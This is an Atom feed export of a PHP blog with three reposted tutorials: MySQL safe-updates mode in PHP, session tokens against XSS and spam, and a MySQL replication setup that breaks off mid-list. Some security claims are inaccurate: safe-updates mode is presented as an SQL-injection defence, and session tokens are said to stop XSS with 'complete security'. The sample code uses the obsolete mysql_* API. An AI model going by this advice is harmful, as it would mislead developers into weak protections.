<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1150134339246982062</id><updated>2011-08-01T15:10:21.979+05:30</updated><category term='PHP Frameworks'/><category term='SPAM protection'/><category term='Payment Gateways'/><category term='PHP Open Source'/><category term='Database Normalization'/><category term='MySQL'/><category term='Project Management'/><category term='Technology Upgrades'/><category term='SQL Injection'/><category term='Error Codes'/><category term='AJAX'/><category term='ASP'/><category term='RDBMS'/><category term='Web'/><category term='Server Security'/><category term='PHP'/><category term='SAPTCHA'/><category term='Frameworks'/><category term='Design Documents Manual'/><category term='General'/><category term='Recursive Functions'/><category term='Recursive SQL Functions'/><category term='JavaScript'/><category term='PHP / SQL Security'/><category term='DBMS'/><title type='text'>Webby - The PHP Team</title><subtitle type='html'>Webby, The best worst team for web development in PHP.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>97</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-8256203885369693277</id><published>2009-09-23T11:42:00.006+05:30</published><updated>2009-09-23T11:58:53.001+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP / SQL Security'/><title type='text'>How to achieve safe updates with MySQL in PHP</title><content type='html'>&lt;a href="http://shar.es/12FY6" target="_new"&gt;How to achieve safe updates with MySQL in PHP&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Posted using &lt;a href="http://sharethis.com/" target="_new"&gt;ShareThis&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;How to achieve safe updates with MySQL and PHP&lt;/p&gt; &lt;p&gt;In this post, we are going to discuss about safety updates with MySQL and using that with PHP.&lt;/p&gt; &lt;p&gt;For beginners, a useful startup option is ’safe updates’ (or –i-am-a-dummy, which has the same effect). &lt;/p&gt; &lt;p&gt;This option was introduced in MySQL 3.23.11. It is helpful during situations wherein you might have issued a “DELETE FROM tbl_name” statement but forgotten the WHERE clause. Normally, such a statement deletes all rows from the table. With ’safe updates’, you can delete rows only by specifying the key values that identify them. Hence, this helps prevent accidental deletions. &lt;span id="more-1144"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;When you use the ’safe updates’ option, MySQL issues the following statement when it connects to the MySQL server: &lt;/p&gt; &lt;p&gt;SET sql_safe_updates=1, sql_select_limit=1000, sql_max_join_size=1000000;&lt;/p&gt; &lt;p&gt;The SET statement has the following effects:&lt;/p&gt; &lt;p&gt;You are not allowed to execute an UPDATE or DELETE a statement unless you specify a key constraint in the WHERE clause or provide a LIMIT clause (or both). For example:&lt;/p&gt; &lt;p&gt;UPDATE tbl_name SET not_key_column=val WHERE key_column=val;&lt;/p&gt; &lt;p&gt;UPDATE tbl_name SET not_key_column=val LIMIT 1&lt;/p&gt; &lt;p&gt;The server limits all large SELECT results to 1,000 rows unless the statement includes a LIMIT clause. &lt;/p&gt; &lt;p&gt;These are the options available with MySQL. &lt;/p&gt; &lt;p&gt;Now, we can use this in our coding by doing a small trick.&lt;/p&gt; &lt;p&gt;When you use the ’safe updates’ option and connect MySQL at command prompt, MySQL issues the following statement when it connects to the MySQL server: &lt;/p&gt; &lt;p&gt;SET sql_safe_updates=1, sql_select_limit=1000, sql_max_join_size=1000000;’ &lt;/p&gt; &lt;p&gt;So, we can use this “SET sql_safe_updates=1″ query in our PHP coding. After connecting with the server and selecting the db, we need to execute this query so that safety update will affect all the other queries executed thereafter. This will ensure that no updates or delete operations perform without the WHERE clause.&lt;/p&gt; &lt;p&gt;This is an useful and important safety measure which can be used in our projects to avoid accidental deletion of all records in a table. &lt;/p&gt;&lt;p&gt;&lt;span&gt;&lt;&lt;/span&gt;?&lt;br /&gt;// This is will be useful to avoid sql injection which may delete all rows of a table&lt;/p&gt; &lt;p&gt;// http://dev.mysql.com/doc/refman/4.1/en/mysql-tips.html&lt;/p&gt; &lt;p&gt;error_reporting(E_ALL);&lt;/p&gt; &lt;p&gt;$con= mysql_connect(”localhost”,”sorna”,”password”);&lt;br /&gt;mysql_select_db(”test1″,$con);&lt;br /&gt;mysql_query(”SET sql_safe_updates=1″);&lt;/p&gt; &lt;p&gt;mysql_query(”DELETE FROM register”); // This line won’t delete the table since we have turned on the safe updates mode. It won’t execute the delete query when it doesn’t have where clause&lt;br /&gt;mysql_query(”DELETE FROM register WHERE id=6″); // This line will delete the record in which id is 6&lt;br /&gt;mysql_close();&lt;/p&gt; &lt;p&gt;?&gt;&lt;/p&gt;&lt;p&gt;Source: &lt;a href="http://www.dotcominfoway.com/blog/how-to-achieve-safe-updates-with-mysql-in-php" target="_new"&gt;http://www.dotcominfoway.com/blog&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-8256203885369693277?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/8256203885369693277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=8256203885369693277' title='42 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/8256203885369693277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/8256203885369693277'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2009/09/how-to-achieve-safe-updates-with-mysql.html' title='How to achieve safe updates with MySQL in PHP'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>42</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-4635269984223944366</id><published>2009-09-09T11:57:00.008+05:30</published><updated>2009-09-09T12:09:26.476+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='SPAM protection'/><title type='text'>Whitelist Form for SPAM Protection: Part II</title><content type='html'>&lt;p&gt;&lt;a href="http://shar.es/1mUUg" target="_new"&gt;Whitelist Form for SPAM Protection: Part II&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Posted using &lt;a href="http://sharethis.com/" target="_new"&gt;ShareThis&lt;/a&gt;&lt;/p&gt;&lt;p&gt;This post is a continuation of our previous post&lt;br /&gt;&lt;a title="Whitelist Form for SPAM protection: Part I" href="http://www.dotcominfoway.com/blog/whitelist-form-for-spam-protection" target="_new"&gt;Whitelist Form for SPAM Protection: Part I&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here, we have explained the session part mentioned in the code.&lt;/p&gt; &lt;p&gt;Please refer to &lt;a title="Whitelist Form for SPAM protection" href="http://www.dotcominfoway.com/blog/whitelist-form-for-spam-protection" target="_new"&gt;code samples&lt;/a&gt; before moving to the explanation.&lt;/p&gt; &lt;p&gt;Cross-site scripting (&lt;a title="XSS" href="http://en.wikipedia.org/wiki/Cross-site_scripting" target="_blank"&gt;XSS&lt;/a&gt;) allows code injection of harmful web users in the web pages used by other users. Attackers can do it by using client-side scripts which help them to exploit browser details.&lt;/p&gt; &lt;p&gt;Attackers mainly use this method to hack a site when users browse/enter sensitive data like username, password, bank account number etc. Everything seems fine to the end-user while entering crucial data, but they maybe subject to unauthorized access i.e. they might become a victim of hacking, whereby all their important data are given away to the hackers. This leads to financial and critical data loss.&lt;/p&gt; &lt;p&gt;&lt;span id="more-998"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Here is a solution called Session which can circumvent such hacking problems. Session code is set on the server-side. We can generate a random session key by using md5 for encryption so that the session code is never repeated and stands unique. This code is set as a hidden value in the page which is being browsed by the user. Session codes are never the same. They keep changing with the browser.&lt;/p&gt; &lt;p&gt;This session code can be submitted through URL or as a hidden field. As shown in the code, we check for the session code generated and submitted from the key session. If the person trying to hack the site tries to manipulate user data and submit it, the session code will be different or there will not be any session code. From this, we can check for user intrusion/hacking and stop such hackers from proceeding further.&lt;/p&gt; &lt;p&gt;Using session not only prevents intrusion, but also theft of crucial data by attackers/hackers. Above all, it ensures complete security to end-users.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Source: &lt;a href="http://www.dotcominfoway.com/blog/whitelist-form-for-spam-protection-part-ii" target="_new"&gt;http://www.dotcominfoway.com/blog&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-4635269984223944366?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/4635269984223944366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=4635269984223944366' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/4635269984223944366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/4635269984223944366'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2009/09/whitelist-form-for-spam-protection-part.html' title='Whitelist Form for SPAM Protection: Part II'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-1801238952711831640</id><published>2009-07-23T16:08:00.004+05:30</published><updated>2009-07-23T16:30:12.283+05:30</updated><title type='text'>How To Set Up Database Replication In MySQL</title><content type='html'>&lt;a href="http://www.howtoforge.com/mysql_database_replication"&gt;How To Set Up Database Replication In MySQL&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;&lt;b&gt;How To Set Up Database Replication In MySQL&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;This tutorial describes how to set up database replication in MySQL. MySQL replication allows you to have an exact copy of a database from a master server on another server (slave), and all updates to the database on the master server are immediately replicated to the database on the slave server so that both databases are in sync. This is not a backup policy because an accidentally issued DELETE command will also be carried out on the slave; but replication can help protect against hardware failures though. &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;In this tutorial I will show how to replicate the database &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt; from the master with the IP address &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;192.168.0.100&lt;/i&gt;&lt;/font&gt; to a slave. Both systems (master and slave) are running &lt;b&gt;Debian Sarge&lt;/b&gt;; however, the configuration should apply to almost all distributions with little or no modification. &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Both systems have MySQL installed, and the database &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt; with tables and data is already existing on the master, but not on the slave. &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;I want to say firstthat this is not the only way of setting up such a system. There are many waysof achieving this goal but this is the way I take. I do not issue any guaranteethat this will work for you!&lt;/font&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h2&gt;&lt;font size="3" face="Verdana, Arial, Helvetica, sans-serif"&gt;1 Configure The Master&lt;/font&gt;&lt;/h2&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;First we have to edit &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;/etc/mysql/my.cnf&lt;/i&gt;&lt;/font&gt;. We have to enable networking for MySQL, and MySQL should listen on all IP addresses, therefore we comment out these lines (if existant):&lt;/font&gt;&lt;/p&gt;&lt;table class="" width="90%" align="center" bgcolor="#cccccc" border="1" bordercolor="#000000" cellpadding="2" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=""&gt;&lt;pre&gt;#skip-networking&lt;br&gt;#bind-address            = 127.0.0.1&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Furthermore we have to tell MySQL for which database it should write logs (these logs are used by the slave to see what has changed on the master), which log file it should use, and we have to specify that this MySQL server is the master. We want to replicate the database &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt;, so we put the following lines into &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;/etc/mysql/my.cnf&lt;/i&gt;&lt;/font&gt;:&lt;/font&gt;&lt;/p&gt;&lt;table class="" width="90%" align="center" bgcolor="#cccccc" border="1" bordercolor="#000000" cellpadding="2" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=""&gt;&lt;pre&gt;log-bin = /var/log/mysql/mysql-bin.log&lt;br&gt;binlog-do-db=exampledb&lt;br&gt;server-id=1&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Then we restart MySQL:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;/etc/init.d/mysql restart&lt;/font&gt;&lt;/i&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Then we log into the MySQL database as &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;root&lt;/i&gt;&lt;/font&gt; and create a user with replication privileges:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;mysql -u root -p&lt;br&gt;Enter password:&lt;/font&gt;&lt;/i&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Now we are on the MySQL shell. &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;GRANT REPLICATION SLAVE ON *.* TO 'slave_user'@'%' IDENTIFIED BY '&amp;lt;some_password&amp;gt;'; &lt;/font&gt;&lt;/i&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;(Replace &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&amp;lt;some_password&amp;gt;&lt;/i&gt;&lt;/font&gt; with a real password!)&lt;/font&gt;&lt;font size="2"&gt;&lt;i&gt; &lt;br&gt;FLUSH PRIVILEGES; &lt;/i&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Next (still on the MySQL shell) do this:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;USE exampledb;&lt;br&gt; FLUSH TABLES WITH READ LOCK;&lt;br&gt;SHOW MASTER STATUS;&lt;/font&gt;&lt;/i&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;The last command will show something like this:&lt;/font&gt;&lt;/p&gt;&lt;table class="" width="90%" align="center" bgcolor="#cccccc" border="1" bordercolor="#000000" cellpadding="2" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=""&gt;&lt;pre&gt;+---------------+----------+--------------+------------------+&lt;br&gt;| File          | Position | Binlog_do_db | Binlog_ignore_db |&lt;br&gt;+---------------+----------+--------------+------------------+&lt;br&gt;| mysql-bin.006 | 183      | exampledb    |                  |&lt;br&gt;+---------------+----------+--------------+------------------+&lt;br&gt;1 row in set (0.00 sec)&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Write down this information, we will need it later on the slave! &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Then leave the MySQL shell:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Courier New, Courier, mono"&gt;&lt;i&gt;quit;&lt;/i&gt;&lt;/font&gt;&lt;/p&gt;&lt;hr&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;There are two possibilities to get the existing tables and data from &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt; from the master to the slave. The first one is to make a database dump, the second one is to use the&lt;/font&gt; &lt;font size="2" face="Courier New, Courier, mono"&gt;&lt;i&gt;LOAD DATA FROM MASTER;&lt;/i&gt;&lt;/font&gt; &lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;command on the slave. The latter has the disadvantage the the database on the master will be &lt;b&gt;locked&lt;/b&gt; during this operation, so if you have a large database on a high-traffic production system, this is not what you want, and I recommend to follow the first method in this case. However, the latter method is very fast, so I will describe both here. &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;If you want to follow the first method, then do this:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;mysqldump -u root -p&amp;lt;password&amp;gt; --opt exampledb &amp;gt; exampledb.sql &lt;/font&gt;&lt;/i&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;(Replace &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&amp;lt;password&amp;gt;&lt;/i&gt;&lt;/font&gt; with the real password for the MySQL user &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;root&lt;/i&gt;&lt;/font&gt;! &lt;b&gt;Important:&lt;/b&gt; There is &lt;b&gt;no&lt;/b&gt; space between &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;-p&lt;/i&gt;&lt;/font&gt; and &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&amp;lt;password&amp;gt;&lt;/i&gt;&lt;/font&gt;!) &lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;This will create an SQL dump of &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt; in the file &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb.sql&lt;/i&gt;&lt;/font&gt;. Transfer this file to your slave server! &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;If you want to go the &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;LOAD DATA FROM MASTER;&lt;/i&gt;&lt;/font&gt; way then there is nothing you must do right now. &lt;/font&gt;&lt;/p&gt;&lt;hr&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Finally we have to unlock the tables in &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt;:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;mysql -u root -p&lt;br&gt;Enter password:&lt;br&gt;UNLOCK TABLES;&lt;br&gt;quit;&lt;/font&gt;&lt;/i&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Now the configuration on the master is finished. On to the slave... &lt;/font&gt;&lt;h2&gt;2 Configure The Slave&lt;/h2&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;On the slave we first have to create the database &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt;:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;mysql -u root -p&lt;br&gt;Enter password:&lt;br&gt;CREATE DATABASE exampledb;&lt;br&gt;quit;&lt;/font&gt;&lt;/i&gt;&lt;/font&gt;&lt;/p&gt;&lt;hr&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;If you have made an SQL dump of &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt; on the master and have transferred it to the slave, then it is time now to import the SQL dump into our newly created &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt; on the slave:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;mysql -u root -p&amp;lt;password&amp;gt; exampledb &amp;lt; /path/to/exampledb.sql &lt;/font&gt;&lt;/i&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;(Replace &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&amp;lt;password&amp;gt;&lt;/i&gt;&lt;/font&gt; with the real password for the MySQL user &lt;font face="Courier New, Courier, mono"&gt;root&lt;/font&gt;! &lt;b&gt;Important:&lt;/b&gt; There is &lt;b&gt;no&lt;/b&gt; space between &lt;i&gt;&lt;font face="Courier New, Courier, mono"&gt;-p&lt;/font&gt;&lt;/i&gt; and &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&amp;lt;password&amp;gt;&lt;/i&gt;&lt;/font&gt;!) &lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;If you want to go the &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;LOAD DATA FROM MASTER;&lt;/i&gt;&lt;/font&gt; way then there is nothing you must do right now. &lt;/font&gt;&lt;/p&gt;&lt;hr&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Now we have to tell MySQL on the slave that it is the slave, that the master is &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;192.168.0.100&lt;/i&gt;&lt;/font&gt;, and that the master database to watch is &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt;. Therefore we add the following lines to &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;/etc/mysql/my.cnf&lt;/i&gt;&lt;/font&gt;:&lt;/font&gt;&lt;/p&gt;&lt;table class="" width="90%" align="center" bgcolor="#cccccc" border="1" bordercolor="#000000" cellpadding="2" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=""&gt;&lt;pre&gt;server-id=2&lt;br&gt;master-host=192.168.0.100&lt;br&gt;master-user=slave_user&lt;br&gt;master-password=secret&lt;br&gt;master-connect-retry=60&lt;br&gt;replicate-d-db=exampledb&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Then we restart MySQL:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;i&gt;&lt;font face="Courier New, Courier, mono"&gt;/etc/init.d/mysql restart&lt;/font&gt;&lt;/i&gt;&lt;/font&gt;&lt;/p&gt;&lt;hr&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;If you have not imported the master &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt; with the help of an SQL dump, but want to go the &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;LOAD DATA FROM MASTER;&lt;/i&gt;&lt;/font&gt; way, then it is time for you now to get the data from the master &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt;:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;mysql -u root -p&lt;br&gt;Enter password:&lt;br&gt;LOAD DATA FROM MASTER;&lt;br&gt;quit;&lt;/font&gt;&lt;/i&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;If you have &lt;a mce_real_href="http://www.phpmyadmin.net" target="_blank"href="http://www.phpmyadmin.net"&gt;phpMyAdmin&lt;/a&gt; installed on the slave you can now check if all tables/data from the master&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt; is also available on the slave &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt;.&lt;/font&gt; &lt;/p&gt;&lt;hr&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Finally, we must do this:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;i&gt;&lt;font face="Courier New, Courier, mono"&gt;mysql -u root -p&lt;br&gt;Enter password:&lt;br&gt;SLAVE STOP;&lt;/font&gt;&lt;/i&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;In the next command (still on the MySQL shell) you have to replace the values appropriately:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;CHANGE MASTER TO MASTER_HOST='192.168.0.100', MASTER_USER='slave_user', MASTER_PASSWORD='&lt;/font&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;&amp;lt;some_password&amp;gt;&lt;/font&gt;&lt;/i&gt;&lt;/font&gt;&lt;font size="2"&gt;', MASTER_LOG_FILE='mysql-bin.006', MASTER_LOG_POS=183;&lt;/font&gt;&lt;/i&gt; &lt;/font&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;&lt;font size="2" face="Courier New, Courier, mono"&gt;MASTER_HOST&lt;/font&gt;&lt;/i&gt; &lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;is the IP address or hostname of the master (in this example it is&lt;/font&gt; &lt;font size="2" face="Courier New, Courier, mono"&gt;&lt;i&gt;192.168.0.100&lt;/i&gt;&lt;/font&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;). &lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;font size="2" face="Courier New, Courier, mono"&gt;MASTER_USER&lt;/font&gt;&lt;/i&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt; is the user we granted replication privileges on the master.&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;font size="2" face="Courier New, Courier, mono"&gt;MASTER_PASSWORD&lt;/font&gt;&lt;/i&gt; &lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;is the password of&lt;/font&gt; &lt;font size="2" face="Courier New, Courier, mono"&gt;&lt;i&gt;MASTER_USER&lt;/i&gt;&lt;/font&gt; &lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;on the master.&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;font size="2" face="Courier New, Courier, 